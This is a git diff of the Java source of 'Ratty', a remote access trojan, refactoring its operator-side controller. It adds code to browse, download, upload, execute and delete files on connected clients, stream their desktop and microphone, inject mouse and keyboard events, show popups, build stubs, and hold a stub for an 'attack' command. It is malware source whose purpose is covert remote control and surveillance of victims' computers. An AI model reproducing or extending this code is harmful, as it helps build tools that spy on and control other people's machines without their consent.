diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 223ddfc..9d61832 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,6 +1,5 @@ package de.sogomn.rat; -import java.awt.Color; import java.io.File; import java.io.IOException; import java.net.URI; @@ -9,7 +8,6 @@ import java.net.URISyntaxException; import javax.swing.JDialog; import javax.swing.JFrame; import javax.swing.JOptionPane; -import javax.swing.UIDefaults; import javax.swing.UIManager; import javax.swing.plaf.nimbus.NimbusLookAndFeel; @@ -46,14 +44,10 @@ public final class Ratty { private static void setLookAndFeel() { final NimbusLookAndFeel nimbus = new NimbusLookAndFeel(); - final UIDefaults defaults = nimbus.getDefaults(); JFrame.setDefaultLookAndFeelDecorated(true); JDialog.setDefaultLookAndFeelDecorated(true); - defaults.put("nimbusBase", Color.LIGHT_GRAY); - defaults.put("cotrol", Color.LIGHT_GRAY); - try { UIManager.setLookAndFeel(nimbus); } catch (final Exception ex) { diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java index 5102fd2..21132fb 100644 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -21,6 +21,7 @@ import de.sogomn.rat.Ratty; /* * This class is kinda hardcoded. + * I don't care. */ public final class StubBuilder { diff --git a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java b/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java similarity index 82% rename from Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java rename to Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java index d1f5d45..455b709 100644 --- a/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java @@ -5,16 +5,16 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveConnection; -public final class CreateFolderPacket implements IPacket { +public final class CreateDirectoryPacket implements IPacket { private String path, name; - public CreateFolderPacket(final String path, final String name) { + public CreateDirectoryPacket(final String path, final String name) { this.path = path; this.name = name; } - public CreateFolderPacket() { + public CreateDirectoryPacket() { this("", ""); } diff --git a/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java b/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java similarity index 88% rename from Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java rename to Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java index 6cd3cb8..2a099c2 100644 --- a/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java @@ -6,7 +6,7 @@ import java.util.stream.Stream; import de.sogomn.rat.ActiveConnection; -public class FileSystemPacket extends AbstractPingPongPacket { +public class FileRequestPacket extends AbstractPingPongPacket { private String rootFile; @@ -15,14 +15,14 @@ public class FileSystemPacket extends AbstractPingPongPacket { private static final byte INCOMING = 1; private static final byte END = 0; - public FileSystemPacket(final String rootFile) { + public FileRequestPacket(final String rootFile) { this.rootFile = rootFile; type = REQUEST; paths = new String[0]; } - public FileSystemPacket() { + public FileRequestPacket() { this(""); type = DATA; diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 7a1a53b..fe84d39 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -13,11 +13,11 @@ public enum PacketType { COMMAND(6, CommandPacket.class), DESKTOP(7, DesktopPacket.class), CLIPBOARD(8, ClipboardPacket.class), - FILE(9, FileSystemPacket.class), + FILE(9, FileRequestPacket.class), DOWNLOAD(10, DownloadFilePacket.class), UPLOAD(11, UploadFilePacket.class), EXECUTE(12, ExecuteFilePacket.class), - FOLDER(13, CreateFolderPacket.class), + DIRECTORY(13, CreateDirectoryPacket.class), DELETE(14, DeleteFilePacket.class), MOUSE_EVENT(15, MouseEventPacket.class), VOICE(16, VoicePacket.class), diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java index 99e9bc5..524c446 100644 --- a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -9,59 +9,25 @@ import de.sogomn.rat.packet.InformationPacket; public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver { - private ArrayList clients; + private ArrayList connections; public AbstractRattyController() { - clients = new ArrayList(); - } - - protected abstract boolean handlePacket(final ServerClient client, final IPacket packet); - - protected void logIn(final ServerClient client, final InformationPacket packet) { - final String name = packet.getName(); - final String os = packet.getOs(); - final String version = packet.getVersion(); - - client.logIn(name, os, version); - } - - @Override - public void packetReceived(final ActiveConnection connection, final IPacket packet) { - final ServerClient client = getClient(connection); - final boolean loggedIn = client.isLoggedIn(); - - if (loggedIn) { - final boolean consumed = handlePacket(client, packet); - - if (!consumed) { - packet.execute(connection); - } - } else if (packet instanceof InformationPacket) { - final InformationPacket information = (InformationPacket)packet; - - logIn(client, information); - } + connections = new ArrayList(); } @Override public void connected(final ActiveServer server, final ActiveConnection connection) { - final ServerClient client = new ServerClient(connection); final InformationPacket packet = new InformationPacket(); connection.setObserver(this); connection.start(); connection.addPacket(packet); - clients.add(client); + connections.add(connection); } @Override public void disconnected(final ActiveConnection connection) { - final ServerClient client = getClient(connection); - - clients.remove(client); - - client.setStreamingDesktop(false); - client.setStreamingVoice(false); + connections.remove(connection); connection.setObserver(null); connection.close(); @@ -69,28 +35,18 @@ public abstract class AbstractRattyController implements IServerObserver, IConne @Override public void closed(final ActiveServer server) { - clients.stream().forEach(client -> { - client.connection.setObserver(null); - client.connection.close(); + connections.stream().forEach(connection -> { + connection.setObserver(null); + connection.close(); }); - clients.clear(); + connections.clear(); } public void broadcast(final IPacket packet) { - clients.stream().forEach(client -> { - client.connection.addPacket(packet); + connections.stream().forEach(connection -> { + connection.addPacket(packet); }); } - public final ServerClient getClient(final ActiveConnection connection) { - for (final ServerClient serverClient : clients) { - if (serverClient.connection == connection) { - return serverClient; - } - } - - return null; - } - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index 2845220..be0fcd2 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -5,6 +5,7 @@ import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import java.io.File; import javax.swing.Icon; import javax.swing.ImageIcon; @@ -32,7 +33,7 @@ public final class FileTree extends AbstractListenerContainer { private FileTreeNode lastNodeClicked; - private static final String ROOT_NAME = "Drives"; + private static final String ROOT_NAME = ""; private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); @@ -134,6 +135,30 @@ public final class FileTree extends AbstractListenerContainer { } } + public void addNodeStructure(final String path) { + final String[] parts = path.split("\\" + File.separator); + + if (parts.length == 0) { + final String[] part = {path}; + + addNodeStructure(part); + } else { + addNodeStructure(parts); + } + } + + public void removeNode(final FileTreeNode node) { + treeModel.removeNodeFromParent(node); + } + + public void removeChildren(final FileTreeNode node) { + final FileTreeNode[] children = node.getChildren(); + + for (final FileTreeNode child : children) { + treeModel.removeNodeFromParent(child); + } + } + public void setVisible(final boolean visible) { frame.setVisible(true); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java index 2167a24..734ad2c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java @@ -28,16 +28,23 @@ public final class FileTreeNode implements MutableTreeNode { return enumeration; } + public FileTreeNode[] getChildren() { + final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new); + + return childArray; + } + @Override public void insert(final MutableTreeNode child, final int index) { final boolean fileTreeNode = child instanceof FileTreeNode; - if (index < 0 || index > children.size() - 1 || !fileTreeNode) { + if (index < 0 || index > children.size() || !fileTreeNode) { return; } final FileTreeNode fileTreeNodeChild = (FileTreeNode)child; + fileTreeNodeChild.setParent(this); children.add(index, fileTreeNodeChild); } @@ -64,6 +71,11 @@ public final class FileTreeNode implements MutableTreeNode { parent.remove(this); } + @Override + public String toString() { + return name; + } + @Override public void setParent(final MutableTreeNode newParent) { final boolean fileTreeNode = newParent instanceof FileTreeNode; @@ -133,7 +145,9 @@ public final class FileTreeNode implements MutableTreeNode { current = current.getParent(); } - return builder.toString(); + final String path = builder.toString(); + + return path; } public String getName() { diff --git a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java deleted file mode 100644 index 82806b2..0000000 --- a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java +++ /dev/null @@ -1,9 +0,0 @@ -package de.sogomn.rat.server.gui; - -import de.sogomn.rat.packet.IPacket; - -interface ISubController extends IGuiController { - - void handlePacket(final IPacket packet); - -} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 53847d8..4824e34 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -29,7 +29,6 @@ import javax.swing.filechooser.FileNameExtensionFilter; import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; -import de.sogomn.rat.server.ServerClient; public final class RattyGui extends AbstractListenerContainer { @@ -171,7 +170,13 @@ public final class RattyGui extends AbstractListenerContainer { } public File getFile(final String type) { - final FileFilter filter = new FileNameExtensionFilter("*." + type, type); + final FileFilter filter; + + if (type != null) { + filter = new FileNameExtensionFilter("*." + type, type); + } else { + filter = null; + } fileChooser.setFileFilter(filter); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index cc7bb4c..76f69e9 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -1,41 +1,61 @@ package de.sogomn.rat.server.gui; import java.awt.image.BufferedImage; +import java.io.File; +import java.util.HashMap; +import java.util.Set; import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.builder.StubBuilder; +import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.CreateDirectoryPacket; +import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopPacket; +import de.sogomn.rat.packet.DownloadFilePacket; +import de.sogomn.rat.packet.ExecuteFilePacket; +import de.sogomn.rat.packet.FileRequestPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; +import de.sogomn.rat.packet.UploadFilePacket; +import de.sogomn.rat.packet.VoicePacket; import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.ActiveServer; -import de.sogomn.rat.server.ServerClient; +/* + * Woah, this is a huge class. + */ public final class RattyGuiController extends AbstractRattyController implements IGuiController { private RattyGui gui; + private HashMap clients; + public RattyGuiController(final RattyGui gui) { this.gui = gui; + clients = new HashMap(); + gui.addListener(this); } /* * ================================================== - * HANDLING + * HANDLING COMMANDS * ================================================== */ - private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) { - final BufferedImage image = packet.getImage(); + private void requestFile(final ServerClient client, final FileTreeNode node) { + final String path = node.getPath(); + final FileRequestPacket packet = new FileRequestPacket(path); - client.displayPanel.showImage(image); + client.fileTree.removeChildren(node); + client.connection.addPacket(packet); } private PopupPacket createPopupPacket() { @@ -74,11 +94,111 @@ public final class RattyGuiController extends AbstractRattyController implements return null; } - private void handleCommand(final ServerClient client, final String command) { + private AudioPacket createAudioPacket() { + final File file = gui.getFile("WAV"); + final AudioPacket packet = new AudioPacket(file); + + return packet; + } + + private DownloadFilePacket createDownloadPacket(final ServerClient client) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final DownloadFilePacket packet = new DownloadFilePacket(path); + + return packet; + } + + private UploadFilePacket createUploadPacket(final ServerClient client) { + final File file = gui.getFile(); + + if (file != null) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final UploadFilePacket packet = new UploadFilePacket(file, path); + + return packet; + } + + return null; + } + + private ExecuteFilePacket createExecutePacket(final ServerClient client) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final ExecuteFilePacket packet = new ExecuteFilePacket(path); + + return packet; + } + + private DeleteFilePacket createDeletePacket(final ServerClient client) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final DeleteFilePacket packet = new DeleteFilePacket(path); + + return packet; + } + + private CreateDirectoryPacket createFolderPacket(final ServerClient client) { + final String input = gui.getInput(); + + if (input != null) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input); + + return packet; + } + + return null; + } + + private void toggleDesktopStream(final ServerClient client) { + final boolean streamingDesktop = client.isStreamingDesktop(); + + client.setStreamingDesktop(!streamingDesktop); + gui.update(); + } + + private void toggleVoiceStream(final ServerClient client) { + final boolean streamingVoice = client.isStreamingVoice(); + + client.setStreamingVoice(!streamingVoice); + gui.update(); + } + + private void handleFileTreeCommand(final ServerClient client, final String command) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode parent = node.getParent(); + + if (parent != null && command != FileTree.REQUEST) { + requestFile(client, parent); + } + + requestFile(client, node); + } + + private void launchAttack() { //... } - private IPacket getPacket(final ServerClient client, final String command) { + private void handleCommand(final ServerClient client, final String command) { + if (command == RattyGui.FILES) { + client.fileTree.setVisible(true); + } else if (command == RattyGui.DESKTOP) { + toggleDesktopStream(client); + } else if (command == RattyGui.VOICE) { + toggleVoiceStream(client); + } else if (command == RattyGui.ATTACK) { + launchAttack(); + } else if (command == RattyGui.BUILD) { + StubBuilder.start(); + } else if (command == FileTree.NEW_FOLDER || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) { + handleFileTreeCommand(client, command); + } + } + + private IPacket createPacket(final ServerClient client, final String command) { IPacket packet = null; if (command == RattyGui.FREE) { @@ -95,22 +215,69 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createWebsitePacket(); } else if (command == RattyGui.DESKTOP) { packet = new DesktopPacket(true); + } else if (command == RattyGui.AUDIO) { + packet = createAudioPacket(); + } else if (command == RattyGui.VOICE) { + packet = new VoicePacket(); + } else if (command == FileTree.DOWNLOAD) { + packet = createDownloadPacket(client); + } else if (command == FileTree.UPLOAD) { + packet = createUploadPacket(client); + } else if (command == FileTree.EXECUTE) { + packet = createExecutePacket(client); + } else if (command == FileTree.DELETE) { + packet = createDeletePacket(client); + } else if (command == FileTree.NEW_FOLDER) { + packet = createFolderPacket(client); + } else if (command == DisplayPanel.MOUSE_EVENT) { + packet = client.displayPanel.getLastMouseEventPacket(); + } else if (command == DisplayPanel.KEY_EVENT) { + packet = client.displayPanel.getLastKeyEventPacket(); } return packet; } - @Override - protected boolean handlePacket(final ServerClient client, final IPacket packet) { + /* + * ================================================== + * HANDLING PACKETS + * ================================================== + */ + + private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) { + final BufferedImage image = packet.getImage(); + + client.displayPanel.showImage(image); + } + + private void handleFiles(final ServerClient client, final FileRequestPacket packet) { + final String[] paths = packet.getPaths(); + + for (final String path : paths) { + client.fileTree.addNodeStructure(path); + } + } + + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); + boolean consumed = true; + if (clazz == ScreenshotPacket.class) { final ScreenshotPacket screenshot = (ScreenshotPacket)packet; showScreenshot(client, screenshot); + } else if (clazz == FileRequestPacket.class) { + final FileRequestPacket request = (FileRequestPacket)packet; + + handleFiles(client, request); + } else if (clazz == DesktopPacket.class) { + + } else { + consumed = false; } - return false; + return consumed; } /* @@ -119,19 +286,56 @@ public final class RattyGuiController extends AbstractRattyController implements * ================================================== */ - @Override - protected void logIn(final ServerClient client, final InformationPacket packet) { - super.logIn(client, packet); + private void logIn(final ServerClient client, final InformationPacket packet) { + final String name = packet.getName(); + final String os = packet.getOs(); + final String version = packet.getVersion(); + + client.logIn(name, os, version); + client.addListener(this); gui.addRow(client); } + @Override + public void packetReceived(final ActiveConnection connection, final IPacket packet) { + final ServerClient client = getClient(connection); + final boolean loggedIn = client.isLoggedIn(); + + if (loggedIn) { + final boolean consumed = handlePacket(client, packet); + + if (!consumed) { + packet.execute(connection); + } + } else if (packet instanceof InformationPacket) { + final InformationPacket information = (InformationPacket)packet; + + logIn(client, information); + } + } + + @Override + public void connected(final ActiveServer server, final ActiveConnection connection) { + final ServerClient client = new ServerClient(connection); + + super.connected(server, connection); + + clients.put(connection, client); + } + @Override public void disconnected(final ActiveConnection connection) { final ServerClient client = getClient(connection); gui.removeRow(client); + client.removeListener(this); + client.setStreamingDesktop(false); + client.setStreamingVoice(false); + + clients.remove(connection); + super.disconnected(connection); } @@ -145,13 +349,27 @@ public final class RattyGuiController extends AbstractRattyController implements @Override public void userInput(final String command) { final ServerClient client = gui.getLastServerClientClicked(); - final IPacket packet = getPacket(client, command); - - handleCommand(client, command); + final IPacket packet = createPacket(client, command); if (packet != null) { client.connection.addPacket(packet); } + + handleCommand(client, command); + } + + public final ServerClient getClient(final ActiveConnection searched) { + final Set clientSet = clients.keySet(); + + for (final ActiveConnection connection : clientSet) { + if (connection == searched) { + final ServerClient client = clients.get(connection); + + return client; + } + } + + return null; } } diff --git a/Ratty/src/de/sogomn/rat/server/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java similarity index 74% rename from Ratty/src/de/sogomn/rat/server/ServerClient.java rename to Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 1d9612c..854911b 100644 --- a/Ratty/src/de/sogomn/rat/server/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -1,10 +1,8 @@ -package de.sogomn.rat.server; +package de.sogomn.rat.server.gui; import de.sogomn.rat.ActiveConnection; -import de.sogomn.rat.server.gui.DisplayPanel; -import de.sogomn.rat.server.gui.FileTree; -public final class ServerClient { +final class ServerClient { private boolean loggedIn; @@ -30,6 +28,16 @@ public final class ServerClient { loggedIn = true; } + public void addListener(final IGuiController controller) { + displayPanel.addListener(controller); + fileTree.addListener(controller); + } + + public void removeListener(final IGuiController controller) { + displayPanel.removeListener(controller); + fileTree.removeListener(controller); + } + public void setStreamingDesktop(final boolean streamingDesktop) { this.streamingDesktop = streamingDesktop; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index a8398ab..fa2b90f 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -5,8 +5,6 @@ import java.util.function.Function; import javax.swing.table.AbstractTableModel; -import de.sogomn.rat.server.ServerClient; - final class ServerClientTableModel extends AbstractTableModel { private static final long serialVersionUID = 919111102883611810L;